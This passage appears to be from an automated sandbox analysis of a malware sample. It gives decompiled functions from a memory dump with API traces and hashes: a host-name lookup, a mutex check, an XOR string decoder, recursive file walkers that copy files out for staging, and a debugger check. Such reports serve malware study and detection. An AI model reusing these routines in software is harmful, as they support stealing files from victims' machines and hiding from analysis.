Instruction Fuzzy Hash: 02F03074A0020CFBEB14DB90DC4AFE97778FB08700F5005A4FA04A7290D6B06A85CB94

Uniqueness

Uniqueness Score: -1.00%

Function 0040A7B0, Relevance: 4.5, APIs: 3, Instructions: 23
memoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040A7B0() {
				void* _v8;
				long _v12;
				int _t9;

				_v8 = HeapAlloc(GetProcessHeap(), 0, 0x104);
				_v12 = 0x104;
				_t9 = GetComputerNameA(_v8,  &_v12); // executed
				if(_t9 != 0) {
					return _v8;
				}
				return 0x41d8e0;
			}

0x0040a7ca
0x0040a7cd
0x0040a7dc
0x0040a7e4
0x00000000
0x0040a7ef
0x00000000

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 0040A7BD
HeapAlloc.KERNEL32(00000000), ref: 0040A7C4
GetComputerNameA.KERNEL32(?,00000104), ref: 0040A7DC

Memory Dump Source

Source File: 00000016.00000002.524651161.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: Heap$AllocComputerNameProcess
String ID:
API String ID: 4203777966-0
Opcode ID: 32b631d3a22acceb30c38fa0f749682b3da25f03ba67c96b389f6f2f795c7b32
Instruction ID: f44cc0fb52f993dba09e557e5fcca0c55edd7a49f47f5a8c9d136e556060be69
Opcode Fuzzy Hash: 32b631d3a22acceb30c38fa0f749682b3da25f03ba67c96b389f6f2f795c7b32
Instruction Fuzzy Hash: 42E0D8B4B00308FBD710EFE4DD49A9D77FCAB04301F5000A6EA04E3280E7749E519B55

Uniqueness

Uniqueness Score: -1.00%

Function 00406660, Relevance: 3.0, APIs: 2, Instructions: 15
synchronizationCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00406660() {
				CHAR* _t1;

				_t1 =  *0x41f8d4; // 0x8ac3a0
				CreateMutexA(0, 0, _t1); // executed
				if(GetLastError() != 0xb7) {
					return 1;
				}
				return 0;
			}

0x00406663
0x0040666d
0x0040667e
0x00000000
0x00406684
0x00000000

APIs

CreateMutexA.KERNEL32(00000000,00000000,008AC3A0,?,004066BE), ref: 0040666D
GetLastError.KERNEL32(?,004066BE), ref: 00406673

Memory Dump Source

Source File: 00000016.00000002.524651161.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: CreateErrorLastMutex
String ID:
API String ID: 1925916568-0
Opcode ID: 32c523dc5f4f7c65d942e6520067223a13b253437a90e0f2a91ecfb6a8878880
Instruction ID: 9a38cabc834d4e99c1964d81abee85c5e1388717b61efda9a9ff699f422f0fbb
Opcode Fuzzy Hash: 32c523dc5f4f7c65d942e6520067223a13b253437a90e0f2a91ecfb6a8878880
Instruction Fuzzy Hash: 0DD0C9302542059FE62017A8AC49B7537D89714701F910932F50ED92E1C7B6A8624659

Uniqueness

Uniqueness Score: -1.00%

Function 00401020, Relevance: 3.0, APIs: 2, Instructions: 15
sleepCOMMON

Download Yara Rule

C-Code - Quality: 37%

			E00401020() {

				while(1 != 0) {
					if(E00401000() != 0) {
						ExitProcess(0);
					}
					Sleep(0x64); // executed
				}
				return 1;
			}

0x00401023
0x00401033
0x00401037
0x00401037
0x0040103f
0x0040103f
0x00401048

APIs

ExitProcess.KERNEL32 ref: 00401037
Sleep.KERNEL32(00000064), ref: 0040103F

Memory Dump Source

Source File: 00000016.00000002.524651161.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: ExitProcessSleep
String ID:
API String ID: 911557368-0
Opcode ID: 5fd0bda187882161ee6ab746bb2a67e5b1102820961a71f59f105f6220e646c1
Instruction ID: 69190b8f425f49032fa669c7b3501e506c58da8ff5e51e5965fa279ed958362e
Opcode Fuzzy Hash: 5fd0bda187882161ee6ab746bb2a67e5b1102820961a71f59f105f6220e646c1
Instruction Fuzzy Hash: CED0123134434547F26423E66C06B66B29C5B14785F400032BB41E9AE2DA7DD8D1C27E

Uniqueness

Uniqueness Score: -1.00%

Function 004011C0, Relevance: 1.5, APIs: 1, Instructions: 41
stringCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E004011C0(void* __ecx, void* __eflags, intOrPtr _a4, intOrPtr _a8, CHAR* _a12, CHAR* _a16, intOrPtr _a20) {
				char _v268;
				void* _t19;
				void* _t21;

				_t21 = __ecx;
				E0040B2C0( &_v268, 0x104);
				if(_a4 == 0) {
					E0040B3A0(_t21,  &_v268, 0x1a); // executed
				} else {
					E0040B3A0( &_v268,  &_v268, 0x1c); // executed
				}
				lstrcatA( &_v268, _a12);
				_t19 = E00401050(0x4187ce,  &_v268, _a16, _a12, _a8, _a20); // executed
				return _t19;
			}

0x004011c0
0x004011d5
0x004011de
0x004011fc
0x004011e0
0x004011e9
0x004011ee
0x0040120f
0x00401231
0x0040123c

APIs

lstrcatA.KERNEL32(?,008B2700,?,00000104), ref: 0040120F

Part of subcall function 0040B3A0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,00000000,00000004,?,00409F86,?,0000001C,?,00000104), ref: 0040B3C4

Memory Dump Source

Source File: 00000016.00000002.524651161.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: FolderPathlstrcat
String ID:
API String ID: 1210066190-0
Opcode ID: 5aa47b6f9b4abf1c26a5ebaab436ddb9862da7512c8e81605e3d18023e1432a8
Instruction ID: 2d769eadd42ec6418cf9f2f2b4962c3b1d3d3c86c2d7247f5d7320cf954d981d
Opcode Fuzzy Hash: 5aa47b6f9b4abf1c26a5ebaab436ddb9862da7512c8e81605e3d18023e1432a8
Instruction Fuzzy Hash: 1101867690420CA7D714EF54DC42FDB3378AB18704F50419EBA88661C1EBB8AAD4CBE5

Uniqueness

Uniqueness Score: -1.00%

Function 008926A6, Relevance: 1.5, APIs: 1, Instructions: 41COMMON

Download Yara Rule

APIs

Module32First.KERNEL32(00000000,00000224), ref: 008926EE

Memory Dump Source

Source File: 00000016.00000002.527803164.0000000000891000.00000040.00000001.sdmp, Offset: 00891000, based on PE: false

Similarity

API ID: FirstModule32
String ID:
API String ID: 3757679902-0
Opcode ID: 3788706d20f5b898e185810e19a2e38a50b9b544ac306a9cd33eedd6d527d18a
Instruction ID: 41ddc5831fe83e1b13b9eb2f3c1a45d12128a96910d5f3dd08e8bf70585ef16f
Opcode Fuzzy Hash: 3788706d20f5b898e185810e19a2e38a50b9b544ac306a9cd33eedd6d527d18a
Instruction Fuzzy Hash: 57F062311007157BDF217AB99C8DB6E76E8FF59725F140528E642D18C0DA70EC454B61

Uniqueness

Uniqueness Score: -1.00%

Function 00437360, Relevance: 1.5, APIs: 1, Instructions: 34memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNEL32(004C80C8,004CBABC,00000040,?), ref: 004373F6

Memory Dump Source

Source File: 00000016.00000002.525001968.0000000000424000.00000020.00020000.sdmp, Offset: 00424000, based on PE: false

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: 067a86de8bf0ee6ed388cb1059d11ff655883d0f21f0e9903f749b8d93891986
Instruction ID: bea8854f9a699254d9a4f405ec0cc794b34eae67fddd710e63293c9a5a98b39c
Opcode Fuzzy Hash: 067a86de8bf0ee6ed388cb1059d11ff655883d0f21f0e9903f749b8d93891986
Instruction Fuzzy Hash: 660119B9118A04ABD340CFB5FE46B163BE8F756704B12417DE20497274DB710A0ACBAE

Uniqueness

Uniqueness Score: -1.00%

Function 0040BCA0, Relevance: 1.5, APIs: 1, Instructions: 23
COMMON

Download Yara Rule

C-Code - Quality: 37%

			E0040BCA0(void* __ecx, void* __eflags, intOrPtr _a4) {
				char _v1004;
				void* _t7;

				E0040B2C0( &_v1004, 0x3e8);
				_t7 =  *0x420190(0, _a4, 0, 0,  &_v1004); // executed
				if(_t7 < 0) {
					return 0;
				}
				return  &_v1004;
			}

0x0040bcb5
0x0040bccb
0x0040bcd3
0x00000000
0x0040bcdf
0x00000000

APIs

SHGetFolderPathA.SHELL32(00000000,00405CEE,00000000,00000000,?,?,000003E8), ref: 0040BCCB

Memory Dump Source

Source File: 00000016.00000002.524651161.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: FolderPath
String ID:
API String ID: 1514166925-0
Opcode ID: cbf6613eb2fd115dafaa889ba8beadcf90e24e00e766ddba6d8834b7b3ed9685
Instruction ID: ff46fd3ed71212515d5e6240aa61cc82e1e8660098a30dec4c0f5ba2dac14716
Opcode Fuzzy Hash: cbf6613eb2fd115dafaa889ba8beadcf90e24e00e766ddba6d8834b7b3ed9685
Instruction Fuzzy Hash: E3E04830A4434C6BE751DB50CC96FAE736CD700B01F4042A9A60CA60C0EF749B554799

Uniqueness

Uniqueness Score: -1.00%

Function 0040B3A0, Relevance: 1.5, APIs: 1, Instructions: 23
COMMON

Download Yara Rule

C-Code - Quality: 37%

			E0040B3A0(void* __ecx, intOrPtr _a4, signed int _a8) {
				void* _t6;

				E0040B280(__ecx, _a4, 0, 4);
				_t6 =  *0x420190(0, _a8 | 0x00008000, 0, 0, _a4); // executed
				if(_t6 < 0) {
					return 0;
				}
				return 1;
			}

0x0040b3ab
0x0040b3c4
0x0040b3cc
0x00000000
0x0040b3d2
0x00000000

APIs

SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,00000000,00000004,?,00409F86,?,0000001C,?,00000104), ref: 0040B3C4

Memory Dump Source

Source File: 00000016.00000002.524651161.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: FolderPath
String ID:
API String ID: 1514166925-0
Opcode ID: 95486f2a352e86946d25e27b250b6394e3a2fea9090cf4e0cc1874b3e5eea1b0
Instruction ID: 3b6ac2f5af27803f054fb0cc195302562a336bc3fc2cb807809f68987d133143
Opcode Fuzzy Hash: 95486f2a352e86946d25e27b250b6394e3a2fea9090cf4e0cc1874b3e5eea1b0
Instruction Fuzzy Hash: 45E012703843087BFA509A91DC07FAB3758EB81B54F108029FB489F2C1C6B5E41147ED

Uniqueness

Uniqueness Score: -1.00%

Function 0040B710, Relevance: 1.5, APIs: 1, Instructions: 19
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040B710(CHAR* _a4) {
				signed int _v8;
				intOrPtr _v12;
				long _t9;

				_t9 = GetFileAttributesA(_a4); // executed
				_v8 = _t9;
				if(_v8 == 0xffffffff || (_v8 & 0x00000010) != 0) {
					_v12 = 0;
				} else {
					_v12 = 1;
				}
				return _v12;
			}

0x0040b71a
0x0040b720
0x0040b727
0x0040b73a
0x0040b731
0x0040b731
0x0040b731
0x0040b747

APIs

GetFileAttributesA.KERNEL32(?,?,?,00409FDF,?), ref: 0040B71A

Memory Dump Source

Source File: 00000016.00000002.524651161.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: 0b3fdb3b5fa4f5cc7c39f72f5d133adb1e3c1b78349f1394a4e6379319a4be10
Instruction ID: 3ad99b9ccb0873bd16a50c5f0b5ae275d3c3a7fdc7491f8ff912af924b3f339a
Opcode Fuzzy Hash: 0b3fdb3b5fa4f5cc7c39f72f5d133adb1e3c1b78349f1394a4e6379319a4be10
Instruction Fuzzy Hash: 7AE08634D0030CEBCB10DFA4C4597ADBF74EB40315F6042A5D845773C0D3355A968B89

Uniqueness

Uniqueness Score: -1.00%

Function 00406D10, Relevance: 1.5, APIs: 1, Instructions: 7
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00406D10() {
				struct HINSTANCE__* _t1;
				int _t2;

				_t1 =  *0x41ffd4; // 0x60900000
				_t2 = FreeLibrary(_t1); // executed
				return _t2;
			}

0x00406d13
0x00406d19
0x00406d20

APIs

FreeLibrary.KERNEL32(60900000,?,0040A7A8,0041FFE0,00000004), ref: 00406D19

Memory Dump Source

Source File: 00000016.00000002.524651161.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: FreeLibrary
String ID:
API String ID: 3664257935-0
Opcode ID: 2fd7549dca0aa361d7a2470aecaf1756f0e8fe2dd3027d319a95070524d42ec5
Instruction ID: 85de338ff5adb9df49a342f8b5f30b379146082b9d05d4610e54032c5b3b4162
Opcode Fuzzy Hash: 2fd7549dca0aa361d7a2470aecaf1756f0e8fe2dd3027d319a95070524d42ec5
Instruction Fuzzy Hash: 3DB01231100308C7850057D8BD0C89177DC924C5043400072F10883111C674F806476C

Uniqueness

Uniqueness Score: -1.00%

Function 00404850, Relevance: 1.3, APIs: 1, Instructions: 51
memoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00404850(intOrPtr _a4, intOrPtr* _a8, intOrPtr _a12) {
				void* _v8;
				signed int _v12;
				intOrPtr* _v16;
				intOrPtr _v20;
				char _v21;
				signed int _v28;
				void* _t38;

				_t38 = LocalAlloc(0x40, _a12 + 1); // executed
				_v8 = _t38;
				 *((char*)(_v8 + _a12)) = 0;
				_v12 = 0;
				while(_v12 < _a12) {
					_v16 = _a8;
					_v20 = _v16 + 1;
					do {
						_v21 =  *_v16;
						_v16 = _v16 + 1;
					} while (_v21 != 0);
					_v28 = _v16 - _v20;
					 *((char*)(_v8 + _v12)) =  *(_a4 + _v12) ^  *(_a8 + _v12 % _v28);
					_v12 = _v12 + 1;
				}
				return _v8;
			}

0x0040485f
0x00404865
0x0040486e
0x00404871
0x00404883
0x0040488e
0x00404897
0x0040489a
0x0040489f
0x004048a2
0x004048a6
0x004048b2
0x004048d5
0x00404880
0x00404880
0x004048df

APIs

LocalAlloc.KERNEL32(00000040,?), ref: 0040485F

Memory Dump Source

Source File: 00000016.00000002.524651161.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: AllocLocal
String ID:
API String ID: 3494564517-0
Opcode ID: 48e9921a1ea5de5e0f1d8a60e9a1dee14e6f321f71ff250e111afb3983ea9f91
Instruction ID: ad8b5cdefeacbc167d452b2527bee7f996c516cdb2d807dc20ae476af3210171
Opcode Fuzzy Hash: 48e9921a1ea5de5e0f1d8a60e9a1dee14e6f321f71ff250e111afb3983ea9f91
Instruction Fuzzy Hash: 1F21F3B4D04288EFCB05CF98C891AAEBBB1FF89304F14C49AE915A7351C334AA51CB84

Uniqueness

Uniqueness Score: -1.00%

Function 00892365, Relevance: 1.3, APIs: 1, Instructions: 48memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,?,00001000,00000040), ref: 008923B6

Memory Dump Source

Source File: 00000016.00000002.527803164.0000000000891000.00000040.00000001.sdmp, Offset: 00891000, based on PE: false

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 499270a49480bde3a93b1541ef130abcc6c407f96609cce36d97d57e1d2ec7bb
Instruction ID: adad9589fc9345e8683510cf38311ede3845615b3e9d4237a968601c721744e2
Opcode Fuzzy Hash: 499270a49480bde3a93b1541ef130abcc6c407f96609cce36d97d57e1d2ec7bb
Instruction Fuzzy Hash: 74112B79A00208FFDB01DF98C985E98BBF5EF08351F098094F9489B362D375EA50EB80

Uniqueness

Uniqueness Score: -1.00%

Function 0040B6A0, Relevance: 1.3, APIs: 1, Instructions: 35
memoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040B6A0(intOrPtr _a4, intOrPtr _a8) {
				intOrPtr _v8;
				void* _v12;
				void* _t20;

				_v12 = 0;
				if(_a4 != 0 && _a8 != 0) {
					_t20 = LocalAlloc(0x40, _a8 + 1); // executed
					_v12 = _t20;
					if(_v12 != 0) {
						_v8 = 0;
						while(_v8 < _a8) {
							 *((char*)(_v12 + _v8)) =  *((intOrPtr*)(_a4 + _v8));
							_v8 = _v8 + 1;
						}
					}
				}
				return _v12;
			}

0x0040b6a6
0x0040b6b1
0x0040b6c2
0x0040b6c8
0x0040b6cf
0x0040b6d1
0x0040b6e3
0x0040b6f9
0x0040b6e0
0x0040b6e0
0x0040b6e3
0x0040b6cf
0x0040b703

APIs

LocalAlloc.KERNEL32(00000040,-00000001), ref: 0040B6C2

Memory Dump Source

Source File: 00000016.00000002.524651161.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: AllocLocal
String ID:
API String ID: 3494564517-0
Opcode ID: d97a1ab3948712250a6cc704936085f8d1ec4e49bf0a7ab373b65c9112d6987a
Instruction ID: 0456d1507c4dd24980b1dcb1f5a71179920875ba0e38989bf55e77b7dda993ef
Opcode Fuzzy Hash: d97a1ab3948712250a6cc704936085f8d1ec4e49bf0a7ab373b65c9112d6987a
Instruction Fuzzy Hash: FE011D30904108EFCB05CF98C5957AC7BB1EF04308F2484A9D9056B381C37AAF94EB8E

Uniqueness

Uniqueness Score: -1.00%

Function 00437340, Relevance: 1.3, APIs: 1, Instructions: 6memoryCOMMON

Download Yara Rule

APIs

LocalAlloc.KERNEL32(00000000,004CBABC,00438292), ref: 00437348

Memory Dump Source

Source File: 00000016.00000002.525001968.0000000000424000.00000020.00020000.sdmp, Offset: 00424000, based on PE: false

Similarity

API ID: AllocLocal
String ID:
API String ID: 3494564517-0
Opcode ID: 6f0aa79cc5975f656415543145c2cd610dccb296fe468d88eb8430a5dfccb31e
Instruction ID: 118ebbc95f986c1134803c03c8fd81ecbb15e3b784ca678031ba71c78fb03f7a
Opcode Fuzzy Hash: 6f0aa79cc5975f656415543145c2cd610dccb296fe468d88eb8430a5dfccb31e
Instruction Fuzzy Hash: 46B092B1101100ABD3C08F90AD85F5036A4F308302F00002AF604C6560DB3004048B59

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 004094F0, Relevance: 35.1, APIs: 19, Strings: 1, Instructions: 121
fileCOMMON

Download Yara Rule

C-Code - Quality: 75%

			E004094F0(CHAR* _a4, CHAR* _a8, CHAR* _a12, CHAR* _a16, intOrPtr _a20) {
				char _v268;
				void* _v272;
				struct _WIN32_FIND_DATAA _v596;
				char _v860;
				char _v1124;
				void* _t40;
				CHAR* _t76;
				void* _t94;
				void* _t95;

				wsprintfA( &_v268, "%s\\*", _a4);
				_t95 = _t94 + 0xc;
				_t40 = FindFirstFileA( &_v268,  &_v596);
				_v272 = _t40;
				if(_v272 != 0xffffffff) {
					do {
						_push(".");
						_push( &(_v596.cFileName));
						if( *0x4201dc() == 0) {
							L4:
							goto L6;
						}
						_push("..");
						_push( &(_v596.cFileName));
						if( *0x4201dc() != 0) {
							E0040B2C0( &_v860, 0x104);
							E0040B2C0( &_v1124, 0x104);
							lstrcatA( &_v860, _a4);
							lstrcatA( &_v860, "\\");
							lstrcatA( &_v860,  &(_v596.cFileName));
							_t76 =  *0x41fde8; // 0x8b3f20
							lstrcatA( &_v1124, _t76);
							lstrcatA( &_v1124, _a12);
							lstrcatA( &_v1124, "\\");
							lstrcatA( &_v1124, _a16);
							lstrcatA( &_v1124, "\\");
							lstrcatA( &_v1124, _a8);
							lstrcatA( &_v1124, "\\");
							lstrcatA( &_v1124,  &(_v596.cFileName));
							CopyFileA( &_v860,  &(_v596.cFileName), 1);
							E00413390(_a20,  &_v1124,  &(_v596.cFileName));
							_t95 = _t95 + 0xc;
							DeleteFileA( &(_v596.cFileName));
							goto L6;
						}
						goto L4;
						L6:
					} while (FindNextFileA(_v272,  &_v596) != 0);
					return FindClose(_v272);
				}
				return _t40;
			}

0x00409509
0x0040950f
0x00409520
0x00409526
0x00409533
0x0040953a
0x0040953a
0x00409545
0x0040954e
0x00409566
0x00000000
0x00409566
0x00409550
0x0040955b
0x00409564
0x00409577
0x00409588
0x00409598
0x004095aa
0x004095be
0x004095c4
0x004095d2
0x004095e3
0x004095f5
0x00409606
0x00409618
0x00409629
0x0040963b
0x0040964f
0x00409665
0x0040967d
0x00409682
0x0040968c
0x00000000
0x0040968c
0x00000000
0x00409692
0x004096a6
0x00000000
0x004096b5
0x00000000

APIs

wsprintfA.USER32 ref: 00409509
FindFirstFileA.KERNEL32(?,?), ref: 00409520
StrCmpCA.SHLWAPI(?,004187C4), ref: 00409546
StrCmpCA.SHLWAPI(?,004187C8), ref: 0040955C
FindNextFileA.KERNEL32(000000FF,?), ref: 004096A0
FindClose.KERNEL32(000000FF), ref: 004096B5

Strings

%s\*, xrefs: 004094FD

Memory Dump Source

Source File: 00000016.00000002.524651161.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: %s\*
API String ID: 180737720-766152087
Opcode ID: fc85efdf1b5e42506d926844c09d7dfa0ea85772694d16883b4a022e1a7cd605
Instruction ID: b22ac54ff47f28817513319a5bc89da0eddf4838f92876bdda5d11c2a97c015c
Opcode Fuzzy Hash: fc85efdf1b5e42506d926844c09d7dfa0ea85772694d16883b4a022e1a7cd605
Instruction Fuzzy Hash: 6B4169B2500319ABCB30DFA0DC49FEB73BCBB58705F448599B605A2091EB759B85CF58

Uniqueness

Uniqueness Score: -1.00%

Function 00409260, Relevance: 23.0, APIs: 11, Strings: 2, Instructions: 213
fileCOMMON

Download Yara Rule

C-Code - Quality: 60%

			E00409260(intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16, intOrPtr _a20, signed int _a24, signed int _a28) {
				char _v268;
				void* _v272;
				struct _WIN32_FIND_DATAA _v596;
				char _v860;
				void* _t76;
				signed int _t77;
				int _t79;
				signed int _t81;
				intOrPtr _t84;
				signed int _t86;
				signed int _t88;
				intOrPtr _t89;
				signed int _t90;
				intOrPtr _t122;
				intOrPtr _t146;
				void* _t166;
				void* _t167;

				wsprintfA( &_v268, "%s\\*", _a8);
				_t167 = _t166 + 0xc;
				_t76 = FindFirstFileA( &_v268,  &_v596);
				_v272 = _t76;
				if(_v272 != 0xffffffff) {
					goto L2;
				} else {
					return _t76;
				}
				do {
					L2:
					_t77 =  *0x4201dc( &(_v596.cFileName), ".");
					__eflags = _t77;
					if(_t77 == 0) {
						L4:
						goto L19;
					}
					_t81 =  *0x4201dc( &(_v596.cFileName), "..");
					__eflags = _t81;
					if(_t81 != 0) {
						wsprintfA( &_v860, "%s\\%s", _a8,  &(_v596.cFileName));
						_t167 = _t167 + 0x10;
						_t84 =  *0x41fc78; // 0x8b43b8
						__eflags =  *0x4201dc( &(_v596.cFileName), _t84);
						if(__eflags != 0) {
							_t122 =  *0x41f7e0; // 0x8b3a38
							_t86 =  *0x4201dc( &(_v596.cFileName), _t122);
							__eflags = _t86;
							if(_t86 != 0) {
								_t146 =  *0x41ff8c; // 0x8b4310
								_t88 =  *0x4201dc( &(_v596.cFileName), _t146);
								__eflags = _t88;
								if(_t88 != 0) {
									_t89 =  *0x41f884; // 0x8b4478
									_t90 =  *0x4201dc( &(_v596.cFileName), _t89);
									__eflags = _t90;
									if(_t90 != 0) {
										__eflags = _v596.dwFileAttributes & 0x00000010;
										if((_v596.dwFileAttributes & 0x00000010) != 0) {
											E00409260( &(_v596.cFileName),  &_v860, _a12, _a16, _a20, _a24, _a28);
											_t167 = _t167 + 0x1c;
										}
									} else {
										__eflags = _a28;
										if(__eflags != 0) {
											E00409110(_a4, __eflags,  &_v860, _a4, _a12, _a16);
											_t167 = _t167 + 0x10;
										}
										E00409260( &(_v596.cFileName),  &_v860, _a12, _a16, _a20, _a24, _a28);
										_t167 = _t167 + 0x1c;
									}
								} else {
									_push(_a16);
									E00408BE0(_a4, _a4, _a12, _a8);
									E00409260( &(_v596.cFileName),  &_v860, _a12, _a16, _a20, _a24, _a28);
									_t167 = _t167 + 0x2c;
								}
							} else {
								__eflags = _a24;
								if(__eflags != 0) {
									E00408F80(_a12, __eflags,  &_v860, _a4, _a12, _a16);
									_t167 = _t167 + 0x10;
								}
								E00409260( &(_v596.cFileName),  &_v860, _a12, _a16, _a20, _a24, _a28);
								_t167 = _t167 + 0x1c;
							}
						} else {
							E00408780(_a4, __eflags,  &_v860, _a4, _a12, _a16);
							E00409260( &(_v596.cFileName),  &_v860, _a12, _a16, _a20, _a24, _a28);
							_t167 = _t167 + 0x2c;
						}
						goto L19;
					}
					goto L4;
					L19:
					_t79 = FindNextFileA(_v272,  &_v596);
					__eflags = _t79;
				} while (_t79 != 0);
				return FindClose(_v272);
			}

0x00409279
0x0040927f
0x00409290
0x00409296
0x004092a3
0x00000000
0x00000000
0x00000000
0x00000000
0x004092aa
0x004092aa
0x004092b6
0x004092bc
0x004092be
0x004092d6
0x00000000
0x004092d6
0x004092cc
0x004092d2
0x004092d4
0x004092f2
0x004092f8
0x004092fb
0x0040930e
0x00409310
0x0040935c
0x0040936a
0x00409370
0x00409372
0x004093c4
0x004093d2
0x004093d8
0x004093da
0x00409423
0x00409430
0x00409436
0x00409438
0x0040948d
0x00409490
0x004094b4
0x004094b9
0x004094b9
0x0040943a
0x0040943a
0x0040943e
0x00409453
0x00409458
0x00409458
0x0040947d
0x00409482
0x00409482
0x004093dc
0x004093df
0x004093ec
0x00409416
0x0040941b
0x0040941b
0x00409374
0x00409374
0x00409378
0x0040938d
0x00409392
0x00409392
0x004093b7
0x004093bc
0x004093bc
0x00409312
0x00409325
0x0040934f
0x00409354
0x00409354
0x00000000
0x00409310
0x00000000
0x004094bc
0x004094ca
0x004094d0
0x004094d0
0x00000000

APIs

wsprintfA.USER32 ref: 00409279
FindFirstFileA.KERNEL32(?,?), ref: 00409290
StrCmpCA.SHLWAPI(?,004187C4), ref: 004092B6
StrCmpCA.SHLWAPI(?,004187C8), ref: 004092CC
FindNextFileA.KERNEL32(000000FF,?), ref: 004094CA
FindClose.KERNEL32(000000FF), ref: 004094DF

Strings

%s\%s, xrefs: 004092E6
%s\*, xrefs: 0040926D

Memory Dump Source

Source File: 00000016.00000002.524651161.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: %s\%s$%s\*
API String ID: 180737720-2848263008
Opcode ID: dd30ba69fe4fb9c95e949803c63bc7b114e56b5c5092d5553ab42feb1ce3188a
Instruction ID: 1e800d4f4f7fe6945242b65610743605f1662de91b5e4137d5fa4fd870840e49
Opcode Fuzzy Hash: dd30ba69fe4fb9c95e949803c63bc7b114e56b5c5092d5553ab42feb1ce3188a
Instruction Fuzzy Hash: 478111B2600109ABCB14DF99DC84EEB73BDBB4C704F04859DB919A3291D638EE55CFA4

Uniqueness

Uniqueness Score: -1.00%

Function 00413711, Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 58
COMMON

Download Yara Rule

C-Code - Quality: 85%

			E00413711(intOrPtr __eax, intOrPtr __ebx, intOrPtr __ecx, intOrPtr __edx, intOrPtr __edi, intOrPtr __esi, char _a4) {
				intOrPtr _v0;
				void* _v804;
				intOrPtr _v808;
				intOrPtr _v812;
				intOrPtr _t6;
				intOrPtr _t11;
				intOrPtr _t12;
				intOrPtr _t13;
				long _t17;
				intOrPtr _t21;
				intOrPtr _t22;
				intOrPtr _t25;
				intOrPtr _t26;
				intOrPtr _t27;
				intOrPtr* _t31;
				void* _t34;

				_t27 = __esi;
				_t26 = __edi;
				_t25 = __edx;
				_t22 = __ecx;
				_t21 = __ebx;
				_t6 = __eax;
				_t34 = _t22 -  *0x41e170; // 0xbb40e64e
				if(_t34 == 0) {
					asm("repe ret");
				}
				 *0x41ec80 = _t6;
				 *0x41ec7c = _t22;
				 *0x41ec78 = _t25;
				 *0x41ec74 = _t21;
				 *0x41ec70 = _t27;
				 *0x41ec6c = _t26;
				 *0x41ec98 = ss;
				 *0x41ec8c = cs;
				 *0x41ec68 = ds;
				 *0x41ec64 = es;
				 *0x41ec60 = fs;
				 *0x41ec5c = gs;
				asm("pushfd");
				_pop( *0x41ec90);
				 *0x41ec84 =  *_t31;
				 *0x41ec88 = _v0;
				 *0x41ec94 =  &_a4;
				 *0x41ebd0 = 0x10001;
				_t11 =  *0x41ec88; // 0x0
				 *0x41eb84 = _t11;
				 *0x41eb78 = 0xc0000409;
				 *0x41eb7c = 1;
				_t12 =  *0x41e170; // 0xbb40e64e
				_v812 = _t12;
				_t13 =  *0x41e174; // 0x44bf19b1
				_v808 = _t13;
				 *0x41ebc8 = IsDebuggerPresent();
				_push(1);
				E00413720(_t14);
				SetUnhandledExceptionFilter(0);
				_t17 = UnhandledExceptionFilter("x�A");
				if( *0x41ebc8 == 0) {
					_push(1);
					E00413720(_t17);
				}
				return TerminateProcess(GetCurrentProcess(), 0xc0000409);
			}

0x00413711
0x00413711
0x00413711
0x00413711
0x00413711
0x00413711
0x00413711
0x00413717
0x00413719
0x00413719
0x00413939
0x0041393e
0x00413944
0x0041394a
0x00413950
0x00413956
0x0041395c
0x00413963
0x0041396a
0x00413971
0x00413978
0x0041397f
0x00413986
0x00413987
0x00413990
0x00413998
0x004139a0
0x004139ab
0x004139b5
0x004139ba
0x004139bf
0x004139c9
0x004139d3
0x004139d8
0x004139de
0x004139e3
0x004139ef
0x004139f4
0x004139f6
0x004139fe
0x00413a09
0x00413a16
0x00413a18
0x00413a1a
0x00413a1f
0x00413a33

APIs

IsDebuggerPresent.KERNEL32 ref: 004139E9
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 004139FE
UnhandledExceptionFilter.KERNEL32(xA), ref: 00413A09
GetCurrentProcess.KERNEL32(C0000409), ref: 00413A25
TerminateProcess.KERNEL32(00000000), ref: 00413A2C

Strings

xA, xrefs: 00413A04

Memory Dump Source

Source File: 00000016.00000002.524651161.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: ExceptionFilterProcessUnhandled$CurrentDebuggerPresentTerminate
String ID: xA
API String ID: 2579439406-523113891
Opcode ID: 01422fe7aa394de96a1dce2bb53c41001ad32649875a46c3aff9b2fb7bb9f39c
Instruction ID: 282e5171f6a4c040705a1c019784b62771ee924954f9b84ddcea0199742fe092
